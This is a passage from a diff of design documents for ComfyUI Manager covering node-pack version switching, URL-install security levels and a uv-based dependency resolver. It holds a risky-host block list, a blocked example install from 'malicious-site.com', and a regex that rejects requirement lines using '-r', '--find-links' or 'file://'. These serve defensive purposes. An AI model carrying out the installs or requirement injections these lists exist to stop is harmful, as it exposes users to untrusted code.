.disabled/comfyui_sigmoidoffsetscheduler@1_0_2/ (has .tracking)
|
||||
```
|
||||
- Move archive directory to `.disabled/comfyui_sigmoidoffsetscheduler@{version}/`
|
||||
- Git clone nightly to `custom_nodes/ComfyUI_SigmoidOffsetScheduler/`
|
||||
|
||||
2. **Nightly → CNR**:
|
||||
```
|
||||
Before: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (has .git)
|
||||
.disabled/comfyui_sigmoidoffsetscheduler@1_0_2/ (has .tracking)
|
||||
After: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (has .tracking)
|
||||
.disabled/comfyui_sigmoidoffsetscheduler@nightly/ (has .git)
|
||||
```
|
||||
- Move nightly directory to `.disabled/comfyui_sigmoidoffsetscheduler@nightly/`
|
||||
- Restore archive from `.disabled/comfyui_sigmoidoffsetscheduler@{version}/`
|
||||
|
||||
**Key Points**:
|
||||
- Both versions preserved in filesystem (one in `.disabled/`)
|
||||
- Switching is fast (just move operations)
|
||||
- No re-download needed when switching back
|
||||
|
||||
### CNR Version Update (In-Place Update)
|
||||
|
||||
**Mechanism**: Direct directory content update - NO `.disabled/` directory used
|
||||
|
||||
**When**: Switching between different CNR versions (e.g., v1.0.1 → v1.0.2)
|
||||
|
||||
**Process**:
|
||||
```
|
||||
Before: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (v1.0.1, has .tracking)
|
||||
After: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (v1.0.2, has .tracking)
|
||||
```
|
||||
|
||||
**Steps**:
|
||||
1. Read `.tracking` to identify original v1.0.1 files
|
||||
2. Delete only original v1.0.1 files (preserve user-created files)
|
||||
3. Extract v1.0.2 archive to same directory
|
||||
4. Update `.tracking` with v1.0.2 file list
|
||||
5. Update `pyproject.toml` version metadata
|
||||
|
||||
**Critical**: Directory name and location remain unchanged
|
||||
|
||||
## API Design Decisions
|
||||
|
||||
### Enable/Disable Operations
|
||||
|
||||
**Design Decision**: ❌ **NO DIRECT ENABLE/DISABLE API PROVIDED**
|
||||
|
||||
**Rationale**:
|
||||
- Enable/disable operations occur **ONLY as a by-product** of version switching
|
||||
- Version switching is the primary operation that manages package state
|
||||
- Direct enable/disable API would:
|
||||
1. Create ambiguity about which version to enable/disable
|
||||
2. Bypass version management logic
|
||||
3. Lead to inconsistent package state
|
||||
|
||||
**Implementation**:
|
||||
- `unified_enable()` and `unified_disable()` are **internal methods only**
|
||||
- Called exclusively from version switching operations:
|
||||
- `install_by_id()` (manager_core.py:1695-1724)
|
||||
- `cnr_switch_version_instant()` (manager_core.py:941)
|
||||
- `repo_update()` (manager_core.py:2144-2232)
|
||||
|
||||
**User Workflow**:
|
||||
```
|
||||
User wants to disable CNR version and enable Nightly:
|
||||
✅ Correct: install(package, version="nightly")
|
||||
→ automatically disables CNR, enables Nightly
|
||||
❌ Wrong: disable(package) + enable(package, "nightly")
|
||||
→ not supported, ambiguous
|
||||
```
|
||||
|
||||
**Testing Approach**:
|
||||
- Enable/disable tested **indirectly** through version switching tests
|
||||
- Test 1-12 validate enable/disable behavior via install/update operations
|
||||
- No direct enable/disable API tests needed (API doesn't exist)
|
||||
|
||||
## Implementation Details
|
||||
|
||||
### Version Detection Logic
|
||||
|
||||
**Location**: `comfyui_manager/common/node_package.py`
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class InstalledNodePackage:
|
||||
@property
|
||||
def is_nightly(self) -> bool:
|
||||
return self.version == "nightly"
|
||||
|
||||
@property
|
||||
def is_from_cnr(self) -> bool:
|
||||
return not self.is_unknown and not self.is_nightly
|
||||
```
|
||||
|
||||
**Detection Order**:
|
||||
1. Check for `.tracking` file → CNR (Archive) version
|
||||
2. Check for `.git` directory → Nightly version
|
||||
3. Otherwise → Unknown/legacy
|
||||
|
||||
### Reload Timing
|
||||
|
||||
**Critical**: `unified_manager.reload()` must be called:
|
||||
1. **Before each queued task** (`manager_server.py:1245`):
|
||||
```python
|
||||
# Reload installed packages before each task to ensure latest state
|
||||
core.unified_manager.reload()
|
||||
```
|
||||
2. **Before version switching** (`manager_core.py:1370`):
|
||||
```python
|
||||
# Reload to ensure we have the latest package state before checking
|
||||
self.reload()
|
||||
```
|
||||
|
||||
**Why**: Ensures `installed_node_packages` dict reflects actual filesystem state
|
||||
|
||||
### Disable Mechanism
|
||||
|
||||
**Implementation** (`manager_core.py:982-1017`, specifically line 1011):
|
||||
```python
|
||||
def unified_disable(self, packname: str):
|
||||
# ... validation logic ...
|
||||
|
||||
# Generate disabled directory name with version suffix
|
||||
base_path = extract_base_custom_nodes_dir(matched_active.fullpath)
|
||||
folder_name = packname if not self.is_url_like(packname) else os.path.basename(matched_active.fullpath)
|
||||
to_path = os.path.join(base_path, '.disabled', f"{folder_name}@{matched_active.version.replace('.', '_')}")
|
||||
|
||||
shutil.move(matched_active.fullpath, to_path)
|
||||
```
|
||||
|
||||
**Naming Convention**:
|
||||
- `{folder_name}@{version}` format for ALL version types
|
||||
- CNR v1.0.2 → `comfyui_foo@1_0_2` (dots replaced with underscores)
|
||||
- Nightly → `comfyui_foo@nightly`
|
||||
|
||||
### Case Sensitivity Fix
|
||||
|
||||
**Problem**: Package IDs normalized to lowercase during indexing but not during lookup
|
||||
|
||||
**Solution** (`manager_core.py:1372-1378, 1388-1393`):
|
||||
```python
|
||||
# Normalize packname using centralized cnr_utils function
|
||||
# CNR packages are indexed with lowercase IDs from pyproject.toml
|
||||
packname_normalized = cnr_utils.normalize_package_name(packname)
|
||||
|
||||
if self.is_enabled(packname_normalized):
|
||||
self.unified_disable(packname_normalized)
|
||||
```
|
||||
|
||||
**Why Centralized Function**:
|
||||
- Consistent normalization across entire codebase
|
||||
- Single source of truth for package name normalization logic
|
||||
- Easier to maintain and test
|
||||
- Located in `cnr_utils.py:28-48`
|
||||
|
||||
## Directory Structure Examples
|
||||
|
||||
### Complete Example: All Version Types Coexisting
|
||||
|
||||
```
|
||||
custom_nodes/
|
||||
ComfyUI_SigmoidOffsetScheduler/ # Active version (CNR v2.0.0 in this example)
|
||||
pyproject.toml # name = "ComfyUI_SigmoidOffsetScheduler"
|
||||
__init__.py
|
||||
nodes.py
|
||||
|
||||
.disabled/ # Inactive versions storage
|
||||
comfyui_sigmoidoffsetscheduler@nightly/ # ← Nightly (disabled)
|
||||
.git/ # ← Nightly marker
|
||||
pyproject.toml
|
||||
__init__.py
|
||||
nodes.py
|
||||
|
||||
comfyui_sigmoidoffsetscheduler@1_0_2/ # ← CNR v1.0.2 (disabled)
|
||||
.tracking # ← CNR marker with file list
|
||||
pyproject.toml
|
||||
__init__.py
|
||||
nodes.py
|
||||
|
||||
comfyui_sigmoidoffsetscheduler@1_0_1/ # ← CNR v1.0.1 (disabled)
|
||||
.tracking
|
||||
pyproject.toml
|
||||
__init__.py
|
||||
nodes.py
|
||||
```
|
||||
|
||||
**Key Points**:
|
||||
- Active directory ALWAYS uses `original_name` without version suffix
|
||||
- Each disabled version has `@{version}` suffix to avoid conflicts
|
||||
- Multiple disabled versions can coexist (nightly + multiple CNR versions)
|
||||
|
||||
## Summary Table
|
||||
|
||||
| Version Type | Purpose | Marker | Active Directory Name | Disabled Directory Name | Update Method | Switch Mechanism |
|
||||
|--------------|---------|--------|----------------------|------------------------|---------------|------------------|
|
||||
| **CNR** (Archive) | Production-ready releases with semantic versioning, published to CNR server and verified | `.tracking` file | `original_name` (e.g., `ComfyUI_Foo`) | `{package}@{version}` (e.g., `comfyui_foo@1_0_2`) | In-place update (preserve user files) | `.disabled/` toggle |
|
||||
| **Nightly** | Real-time development builds from Git repository without semantic versioning | `.git/` directory | `original_name` (e.g., `ComfyUI_Foo`) | `{package}@nightly` (e.g., `comfyui_foo@nightly`) | `git pull` | `.disabled/` toggle |
|
||||
|
||||
**Important Constraints**:
|
||||
- **Active directory name**: MUST use `original_name` (from `pyproject.toml`) without version suffix
|
||||
- Other code may depend on this specific directory name
|
||||
- Only ONE version can be active at a time
|
||||
- **Disabled directory name**: MUST include `@{version}` suffix to allow multiple disabled versions to coexist
|
||||
- CNR: `@{version}` (e.g., `@1_0_2`)
|
||||
- Nightly: `@nightly`
|
||||
|
||||
## Edge Cases
|
||||
|
||||
### 1. Multiple CNR Versions
|
||||
- Each stored in `.disabled/` with version suffix
|
||||
- Only one can be active at a time
|
||||
- Switching between CNR versions = direct content update (not via `.disabled/`)
|
||||
|
||||
### 2. Package ID Case Variations
|
||||
- Always normalize to lowercase for internal lookups
|
||||
- Preserve original case in filesystem/display
|
||||
- Match against lowercase indexed keys
|
||||
|
||||
### 3. Corrupted `.tracking` File
|
||||
- Treat as unknown version type
|
||||
- Warn user before update/uninstall
|
||||
- May require manual cleanup
|
||||
|
||||
### 4. Mixed CNR + Nightly in `.disabled/`
|
||||
- Both can coexist in `.disabled/`
|
||||
- Only one can be active in `custom_nodes/`
|
||||
- Switch logic detects type and handles appropriately
|
||||
@@ -1,235 +0,0 @@
|
||||
# Security-Enhanced URL Installation System
|
||||
|
||||
## Overview
|
||||
|
||||
Security constraints have been added to the `install_by_url` function to control URL-based installations according to the system's security level.
|
||||
|
||||
## Security Level and Risk Level Framework
|
||||
|
||||
### Security Levels (SecurityLevel)
|
||||
- **strong**: Most restrictive, only trusted sources allowed
|
||||
- **normal**: Standard security, most known platforms allowed
|
||||
- **normal-**: Relaxed security, additional allowances for personal cloud environments
|
||||
- **weak**: Most permissive security, for local development environments
|
||||
|
||||
### Risk Levels (RiskLevel)
|
||||
- **block**: Complete block (always denied)
|
||||
- **high+**: Very high risk (only allowed in local mode + weak/normal-)
|
||||
- **high**: High risk (only allowed in local mode + weak/normal- or personal cloud + weak)
|
||||
- **middle+**: Medium-high risk (weak/normal/normal- allowed in local/personal cloud)
|
||||
- **middle**: Medium risk (weak/normal/normal- allowed in all environments)
|
||||
|
||||
## URL Risk Assessment Logic
|
||||
|
||||
### Low Risk (middle) - Trusted Platforms
|
||||
```
|
||||
- github.com
|
||||
- gitlab.com
|
||||
- bitbucket.org
|
||||
- raw.githubusercontent.com
|
||||
- gitlab.io
|
||||
```
|
||||
|
||||
### High Risk (high+) - Suspicious/Local Hosting
|
||||
```
|
||||
- localhost, 127.0.0.1
|
||||
- Private IP ranges: 192.168.*, 10.0.*, 172.*
|
||||
- Temporary hosting: ngrok.io, herokuapp.com, repl.it, glitch.me
|
||||
```
|
||||
|
||||
### Medium-High Risk (middle+) - Unknown Domains
|
||||
```
|
||||
- All domains not belonging to the above categories
|
||||
```
|
||||
|
||||
### High Risk (high) - SSH Protocol
|
||||
```
|
||||
- URLs starting with ssh:// or git@
|
||||
```
|
||||
|
||||
## Implemented Security Features
|
||||
|
||||
### 1. Security Validation (`_validate_url_security`)
|
||||
```python
|
||||
async def install_by_url(self, url: str, ...):
|
||||
# Security validation
|
||||
security_result = self._validate_url_security(url)
|
||||
if not security_result['allowed']:
|
||||
return self._report_failed_install_security(url, security_result['reason'], custom_name)
|
||||
```
|
||||
|
||||
**Features**:
|
||||
- Check current security level
|
||||
- Assess URL risk
|
||||
- Allow/block decision based on security policy
|
||||
|
||||
### 2. Failure Reporting (`_report_failed_install_security`)
|
||||
```python
|
||||
def _report_failed_install_security(self, url: str, reason: str, custom_name=None):
|
||||
# Security block logging
|
||||
print(f"[SECURITY] Blocked URL installation: {url}")
|
||||
|
||||
# Record failed installation
|
||||
self._record_failed_install_nodepack({
|
||||
'type': 'url-security-block',
|
||||
'url': url,
|
||||
'package_name': pack_name,
|
||||
'reason': reason,
|
||||
'security_level': current_security_level,
|
||||
'timestamp': timestamp
|
||||
})
|
||||
```
|
||||
|
||||
**Features**:
|
||||
- Log blocked installation attempts to console
|
||||
- Save failure information in structured format
|
||||
- Return failure result as ManagedResult
|
||||
|
||||
### 3. Failed Installation Record Management (`_record_failed_install_nodepack`)
|
||||
```python
|
||||
def get_failed_install_reports(self) -> list:
|
||||
return getattr(self, '_failed_installs', [])
|
||||
```
|
||||
|
||||
**Features**:
|
||||
- Maintain recent 100 failure records
|
||||
- Prevent memory overflow
|
||||
- Provide API for monitoring and debugging
|
||||
|
||||
## Usage Examples
|
||||
|
||||
### Behavior by Security Setting
|
||||
|
||||
#### Strong Security Level
|
||||
```python
|
||||
# Most URLs are blocked
|
||||
result = await manager.install_by_url("https://github.com/user/repo")
|
||||
# Result: Blocked (github is also middle risk, so blocked at strong level)
|
||||
|
||||
result = await manager.install_by_url("https://suspicious-domain.com/repo.git")
|
||||
# Result: Blocked (middle+ risk)
|
||||
```
|
||||
|
||||
#### Normal Security Level
|
||||
```python
|
||||
# Trusted platforms allowed
|
||||
result = await manager.install_by_url("https://github.com/user/repo")
|
||||
# Result: Allowed
|
||||
|
||||
result = await manager.install_by_url("https://localhost/repo.git")
|
||||
# Result: Blocked (high+ risk)
|
||||
```
|
||||
|
||||
#### Weak Security Level (Local Development Environment)
|
||||
```python
|
||||
# Almost all URLs allowed
|
||||
result = await manager.install_by_url("https://github.com/user/repo")
|
||||
# Result: Allowed
|
||||
|
||||
result = await manager.install_by_url("https://192.168.1.100/repo.git")
|
||||
# Result: Allowed (in local mode)
|
||||
|
||||
result = await manager.install_by_url("git@private-server.com:user/repo.git")
|
||||
# Result: Allowed
|
||||
```
|
||||
|
||||
### Failure Monitoring
|
||||
```python
|
||||
manager = UnifiedManager()
|
||||
|
||||
# Blocked installation attempt
|
||||
await manager.install_by_url("https://malicious-site.com/evil-nodes.git")
|
||||
|
||||
# Check failure records
|
||||
failed_reports = manager.get_failed_install_reports()
|
||||
for report in failed_reports:
|
||||
print(f"Blocked: {report['url']} - {report['reason']}")
|
||||
```
|
||||
|
||||
## Security Policy Matrix
|
||||
|
||||
| Risk Level | Strong | Normal | Normal- | Weak |
|
||||
|------------|--------|--------|---------|------|
|
||||
| **block** | ❌ | ❌ | ❌ | ❌ |
|
||||
| **high+** | ❌ | ❌ | 🔒* | 🔒* |
|
||||
| **high** | ❌ | ❌ | 🔒*/☁️** | ✅ |
|
||||
| **middle+**| ❌ | ❌ | 🔒*/☁️** | ✅ |
|
||||
| **middle** | ❌ | ✅ | ✅ | ✅ |
|
||||
|
||||
- 🔒* : Allowed only in local mode
|
||||
- ☁️** : Allowed only in personal cloud mode
|
||||
- ✅ : Allowed
|
||||
- ❌ : Blocked
|
||||
|
||||
## Error Message Examples
|
||||
|
||||
### Security Block
|
||||
```
|
||||
Installation blocked by security policy: URL installation blocked by security level: strong (risk: middle)
|
||||
Target: awesome-nodes@url-blocked
|
||||
```
|
||||
|
||||
### Console Log
|
||||
```
|
||||
[SECURITY] Blocked URL installation: https://suspicious-domain.com/repo.git
|
||||
[SECURITY] Reason: URL installation blocked by security level: normal (risk: middle+)
|
||||
[SECURITY] Package: repo
|
||||
```
|
||||
|
||||
## Configuration Recommendations
|
||||
|
||||
### Production Environment
|
||||
```json
|
||||
{
|
||||
"security_level": "strong",
|
||||
"network_mode": "private"
|
||||
}
|
||||
```
|
||||
- Most restrictive settings
|
||||
- Only trusted sources allowed
|
||||
|
||||
### Development Environment
|
||||
```json
|
||||
{
|
||||
"security_level": "weak",
|
||||
"network_mode": "local"
|
||||
}
|
||||
```
|
||||
- Permissive settings for development convenience
|
||||
- Allow local repositories and development servers
|
||||
|
||||
### Personal Cloud Environment
|
||||
```json
|
||||
{
|
||||
"security_level": "normal-",
|
||||
"network_mode": "personal_cloud"
|
||||
}
|
||||
```
|
||||
- Balanced settings for personal use
|
||||
- Allow personal repository access
|
||||
|
||||
## Security Enhancement Benefits
|
||||
|
||||
### 1. Malware Prevention
|
||||
- Automatic blocking from unknown sources
|
||||
- Filter suspicious domains and IPs
|
||||
|
||||
### 2. Network Security
|
||||
- Control private network access
|
||||
- Restrict SSH protocol usage
|
||||
|
||||
### 3. Audit Trail
|
||||
- Record all blocked attempts
|
||||
- Log security events
|
||||
|
||||
### 4. Flexible Policy
|
||||
- Customized security levels per environment
|
||||
- Distinguish between production/development environments
|
||||
|
||||
## Backward Compatibility
|
||||
|
||||
- Existing `install_by_id` function unchanged
|
||||
- No security validation applied to CNR-based installations
|
||||
- `install_by_id_or_url` applies security only to URLs
|
||||
|
||||
This security enhancement significantly improves system security while maintaining the convenience of URL-based installations.
|
||||
@@ -0,0 +1,812 @@
|
||||
# Architecture Design: Unified Dependency Resolver
|
||||
|
||||
## 1. System Architecture
|
||||
|
||||
### 1.1 Module Location
|
||||
|
||||
```
|
||||
comfyui_manager/
|
||||
├── glob/
|
||||
│ └── manager_core.py # Existing: execute_install_script() call sites (2 locations)
|
||||
├── common/
|
||||
│ ├── manager_util.py # Existing: get_pip_cmd(), PIPFixer, use_uv flag
|
||||
│ ├── cm_global.py # Existing: pip_overrides, pip_blacklist (runtime dynamic assignment)
|
||||
│ └── unified_dep_resolver.py # New: Unified dependency resolution module
|
||||
├── prestartup_script.py # Existing: config reading, remap_pip_package, cm_global initialization
|
||||
└── legacy/
|
||||
└── manager_core.py # Legacy (not a modification target)
|
||||
cm_cli/
|
||||
└── __main__.py # CLI entry: uv-compile command (on-demand batch resolution)
|
||||
```
|
||||
|
||||
The new module `unified_dep_resolver.py` is added to the `comfyui_manager/common/` directory.
|
||||
It reuses `manager_util` utilities and `cm_global` global state from the same package.
|
||||
|
||||
> **Warning**: `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are
|
||||
> NOT defined in `cm_global.py`. They are **dynamically assigned** during `prestartup_script.py` execution.
|
||||
> In v1 unified mode, these are **not applied** — empty values are passed to the resolver constructor.
|
||||
> The constructor interface accepts them for future extensibility (defaults to empty when `None`).
|
||||
>
|
||||
> **[DEFERRED]** Reading actual `cm_global` values at startup is deferred to a future version.
|
||||
> The startup batch resolver in `prestartup_script.py` currently passes `blacklist=set()`,
|
||||
> `overrides={}`, `downgrade_blacklist=[]`. The constructor and internal methods
|
||||
> (`_remap_package`, `_is_downgrade_blacklisted`, blacklist check) are fully implemented
|
||||
> and will work once real values are provided.
|
||||
|
||||
### 1.2 Overall Flow
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
subgraph INSTALL_TIME["Install Time (immediate)"]
|
||||
MC["manager_core.py<br/>execute_install_script() — 2 locations"]
|
||||
MC -->|"use_unified_resolver=True"| SKIP["Skip per-node pip install<br/>(deps deferred to restart)"]
|
||||
MC -->|"use_unified_resolver=False"| PIP["Existing pip install loop"]
|
||||
SKIP --> INST["Run install.py"]
|
||||
PIP --> INST
|
||||
end
|
||||
|
||||
subgraph STARTUP["ComfyUI Restart (prestartup_script.py)"]
|
||||
CHK{use_unified_resolver?}
|
||||
CHK -->|Yes| UDR
|
||||
CHK -->|No| LAZY["execute_lazy_install_script()<br/>per-node pip install (existing)"]
|
||||
|
||||
subgraph UDR["UnifiedDepResolver (batch)"]
|
||||
S1["1. collect_requirements()<br/>(ALL installed node packs)"]
|
||||
S2["2. compile_lockfile()"]
|
||||
S3["3. install_from_lockfile()"]
|
||||
S1 --> S2 --> S3
|
||||
end
|
||||
|
||||
UDR -->|Success| FIX["PIPFixer.fix_broken()"]
|
||||
UDR -->|Failure| LAZY
|
||||
LAZY --> FIX2["PIPFixer.fix_broken()"]
|
||||
end
|
||||
```
|
||||
|
||||
> **Key design change**: The unified resolver runs at **startup time** (module scope), not at install time.
|
||||
> At install time, `execute_install_script()` skips the pip loop when unified mode is active.
|
||||
> At startup, `prestartup_script.py` runs the resolver at module scope — unconditionally when enabled,
|
||||
> independent of `install-scripts.txt` existence. Blacklist/overrides/downgrade_blacklist are bypassed
|
||||
> (empty values passed); `uv pip compile` handles all conflict resolution natively.
|
||||
>
|
||||
> **Note**: `execute_install_script()` exists in 2 locations in the codebase (excluding legacy module).
|
||||
> - `UnifiedManager.execute_install_script()` (class method): Used for CNR installs, etc.
|
||||
> - Standalone function `execute_install_script()`: Used for updates, git installs, etc.
|
||||
> Both skip per-node pip install when unified mode is active.
|
||||
|
||||
### 1.3 uv Command Strategy
|
||||
|
||||
**`uv pip compile`** → Generates pinned requirements.txt (pip-compatible)
|
||||
- Do not confuse with `uv lock`
|
||||
- `uv lock` generates `uv.lock` (TOML) — cross-platform but incompatible with pip workflows
|
||||
- This design uses a pip-compatible workflow (`uv pip compile` → `uv pip install -r`)
|
||||
|
||||
**`uv pip install -r`** ← Used instead of `uv pip sync`
|
||||
- `uv pip sync`: **Deletes** packages not in lockfile → Risk of removing torch, ComfyUI deps
|
||||
- `uv pip install -r`: Only performs additive installs, preserves existing packages → Safe
|
||||
|
||||
---
|
||||
|
||||
## 2. Class Design
|
||||
|
||||
### 2.1 UnifiedDepResolver
|
||||
|
||||
```python
|
||||
class UnifiedDepResolver:
|
||||
"""
|
||||
Unified dependency resolver.
|
||||
|
||||
Resolves and installs all dependencies of (installed node packs + new node packs)
|
||||
at once using uv.
|
||||
|
||||
Responsibility scope: Dependency resolution and installation only.
|
||||
install.py execution and PIPFixer calls are handled by the caller (manager_core).
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
node_pack_paths: list[str],
|
||||
base_requirements: list[str] | None = None,
|
||||
blacklist: set[str] | None = None,
|
||||
overrides: dict[str, str] | None = None,
|
||||
downgrade_blacklist: list[str] | None = None,
|
||||
):
|
||||
"""
|
||||
Args:
|
||||
node_pack_paths: List of node pack directory paths
|
||||
base_requirements: Base dependencies (ComfyUI requirements, etc.)
|
||||
blacklist: Blacklisted package set (default: empty set; not applied in v1 unified mode)
|
||||
overrides: Package name remapping dict (default: empty dict; not applied in v1 unified mode)
|
||||
downgrade_blacklist: Downgrade-prohibited package list (default: empty list; not applied in v1 unified mode)
|
||||
"""
|
||||
|
||||
def resolve_and_install(self) -> ResolveResult:
|
||||
"""Execute full pipeline: stale cleanup → collect → compile → install.
|
||||
Calls cleanup_stale_tmp() at start to clean up residual files from previous abnormal terminations."""
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
"""Collect dependencies from all node packs"""
|
||||
|
||||
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
|
||||
"""Generate pinned requirements via uv pip compile"""
|
||||
|
||||
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
|
||||
"""Install from pinned requirements (uv pip install -r)"""
|
||||
```
|
||||
|
||||
### 2.2 Data Classes
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class PackageRequirement:
|
||||
"""Individual package dependency"""
|
||||
name: str # Package name (normalized)
|
||||
spec: str # Original spec (e.g., "torch>=2.0")
|
||||
source: str # Source node pack path
|
||||
|
||||
@dataclass
|
||||
class CollectedDeps:
|
||||
"""All collected dependencies"""
|
||||
requirements: list[PackageRequirement] # Collected deps (duplicates allowed, uv resolves)
|
||||
skipped: list[tuple[str, str]] # (package_name, skip_reason)
|
||||
sources: dict[str, list[tuple[str, str]]] # {package_name: [(pack_path, pkg_spec), ...]}
|
||||
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
|
||||
extra_index_urls: list[str] # Additional index URLs separated from --index-url entries
|
||||
|
||||
@dataclass
|
||||
class LockfileResult:
|
||||
"""Compilation result"""
|
||||
success: bool
|
||||
lockfile_path: str | None # pinned requirements.txt path
|
||||
conflicts: list[str] # Conflict details
|
||||
stderr: str # uv error output
|
||||
|
||||
@dataclass
|
||||
class InstallResult:
|
||||
"""Installation result (uv pip install -r is atomic: all-or-nothing)"""
|
||||
success: bool
|
||||
installed: list[str] # Installed packages (stdout parsing)
|
||||
skipped: list[str] # Already installed (stdout parsing)
|
||||
stderr: str # uv stderr output (for failure analysis)
|
||||
|
||||
@dataclass
|
||||
class ResolveResult:
|
||||
"""Full pipeline result"""
|
||||
success: bool
|
||||
collected: CollectedDeps | None
|
||||
lockfile: LockfileResult | None
|
||||
install: InstallResult | None
|
||||
error: str | None
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Core Logic Details
|
||||
|
||||
### 3.1 Dependency Collection (`collect_requirements`)
|
||||
|
||||
```python
|
||||
# Input sanitization: dangerous patterns to reject
|
||||
_DANGEROUS_PATTERNS = re.compile(
|
||||
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
|
||||
r'|--find-links\b|-f\b|.*@\s*file://)',
|
||||
re.IGNORECASE
|
||||
)
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
requirements = []
|
||||
skipped = []
|
||||
sources = defaultdict(list)
|
||||
extra_index_urls = []
|
||||
|
||||
for path in self.node_pack_paths:
|
||||
# Exclude disabled node packs (directory-based mechanism)
|
||||
# Disabled node packs are actually moved to custom_nodes/.disabled/,
|
||||
# so they should already be excluded from input at this point.
|
||||
# Defensive check: new style (.disabled/ directory) + old style ({name}.disabled suffix)
|
||||
if ('/.disabled/' in path
|
||||
or os.path.basename(os.path.dirname(path)) == '.disabled'
|
||||
or path.rstrip('/').endswith('.disabled')):
|
||||
continue
|
||||
|
||||
req_file = os.path.join(path, "requirements.txt")
|
||||
if not os.path.exists(req_file):
|
||||
continue
|
||||
|
||||
# chardet-based encoding detection (existing robust_readlines pattern)
|
||||
for line in self._read_requirements(req_file):
|
||||
line = line.split('#')[0].strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 0. Input sanitization (security)
|
||||
if self._DANGEROUS_PATTERNS.match(line):
|
||||
skipped.append((line, f"rejected: dangerous pattern in {path}"))
|
||||
logging.warning(f"[UnifiedDepResolver] rejected dangerous line: '{line}' from {path}")
|
||||
continue
|
||||
|
||||
# 1. Separate --index-url / --extra-index-url handling
|
||||
# (BEFORE path separator check, because URLs contain '/')
|
||||
if '--index-url' in line or '--extra-index-url' in line:
|
||||
pkg_spec, index_url = self._split_index_url(line)
|
||||
if index_url:
|
||||
extra_index_urls.append(index_url)
|
||||
line = pkg_spec
|
||||
if not line:
|
||||
# Standalone option line (no package prefix)
|
||||
continue
|
||||
|
||||
# 1b. Reject path separators in package name portion
|
||||
pkg_name_part = re.split(r'[><=!~;]', line)[0]
|
||||
if '/' in pkg_name_part or '\\' in pkg_name_part:
|
||||
skipped.append((line, f"rejected: path separator in package name"))
|
||||
continue
|
||||
|
||||
# 2. Apply remap_pip_package (using cm_global.pip_overrides)
|
||||
pkg_spec = self._remap_package(line)
|
||||
|
||||
# 3. Blacklist check (cm_global.pip_blacklist)
|
||||
pkg_name = self._extract_package_name(pkg_spec)
|
||||
if pkg_name in self.blacklist:
|
||||
skipped.append((pkg_spec, "blacklisted"))
|
||||
continue
|
||||
|
||||
# 4. Downgrade blacklist check (includes version comparison)
|
||||
if self._is_downgrade_blacklisted(pkg_name, pkg_spec):
|
||||
skipped.append((pkg_spec, "downgrade blacklisted"))
|
||||
continue
|
||||
|
||||
# 5. Collect (no dedup — uv handles resolution)
|
||||
req = PackageRequirement(
|
||||
name=pkg_name,
|
||||
spec=pkg_spec,
|
||||
source=path,
|
||||
)
|
||||
requirements.append(req)
|
||||
sources[pkg_name].append((path, pkg_spec))
|
||||
|
||||
return CollectedDeps(
|
||||
requirements=requirements,
|
||||
skipped=skipped,
|
||||
sources=dict(sources),
|
||||
extra_index_urls=list(set(extra_index_urls)), # Deduplicate
|
||||
)
|
||||
|
||||
def _split_index_url(self, line: str) -> tuple[str, str | None]:
|
||||
"""Split 'package_name --index-url URL' → (package_name, URL).
|
||||
|
||||
Also handles standalone ``--index-url URL`` and
|
||||
``--extra-index-url URL`` lines (with no package prefix).
|
||||
"""
|
||||
# Handle --extra-index-url first (contains '-index-url' as substring
|
||||
# but NOT '--index-url' due to the extra-index prefix)
|
||||
for option in ('--extra-index-url', '--index-url'):
|
||||
if option in line:
|
||||
parts = line.split(option, 1)
|
||||
pkg_spec = parts[0].strip()
|
||||
url = parts[1].strip() if len(parts) == 2 else None
|
||||
return pkg_spec, url
|
||||
return line, None
|
||||
|
||||
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str) -> bool:
|
||||
"""Reproduce the downgrade version comparison from existing is_blacklisted() logic.
|
||||
|
||||
Same logic as manager_core.py's is_blacklisted():
|
||||
- No version spec and already installed → block (prevent reinstall)
|
||||
- Operator is one of ['<=', '==', '<', '~='] and
|
||||
installed version >= requested version → block (prevent downgrade)
|
||||
- Version comparison uses manager_util.StrictVersion (NOT packaging.version)
|
||||
"""
|
||||
if pkg_name not in self.downgrade_blacklist:
|
||||
return False
|
||||
|
||||
installed_packages = manager_util.get_installed_packages()
|
||||
|
||||
# Version spec parsing (same pattern as existing is_blacklisted())
|
||||
pattern = r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
|
||||
match = re.search(pattern, pkg_spec)
|
||||
|
||||
if match is None:
|
||||
# No version spec: prevent reinstall if already installed
|
||||
if pkg_name in installed_packages:
|
||||
return True
|
||||
elif match.group(2) in ['<=', '==', '<', '~=']:
|
||||
# Downgrade operator: block if installed version >= requested version
|
||||
if pkg_name in installed_packages:
|
||||
try:
|
||||
installed_ver = manager_util.StrictVersion(installed_packages[pkg_name])
|
||||
requested_ver = manager_util.StrictVersion(match.group(3))
|
||||
if installed_ver >= requested_ver:
|
||||
return True
|
||||
except (ValueError, TypeError):
|
||||
logging.warning(f"[UnifiedDepResolver] version parse failed: {pkg_spec}")
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
def _remap_package(self, pkg: str) -> str:
|
||||
"""Package name remapping based on cm_global.pip_overrides.
|
||||
Reuses existing remap_pip_package() logic."""
|
||||
if pkg in self.overrides:
|
||||
remapped = self.overrides[pkg]
|
||||
logging.info(f"[UnifiedDepResolver] '{pkg}' remapped to '{remapped}'")
|
||||
return remapped
|
||||
return pkg
|
||||
```
|
||||
|
||||
### 3.2 Lockfile Generation (`compile_lockfile`)
|
||||
|
||||
**Behavior:**
|
||||
1. Create a unique temp directory (`tempfile.mkdtemp(prefix="comfyui_resolver_")`) for concurrency safety
|
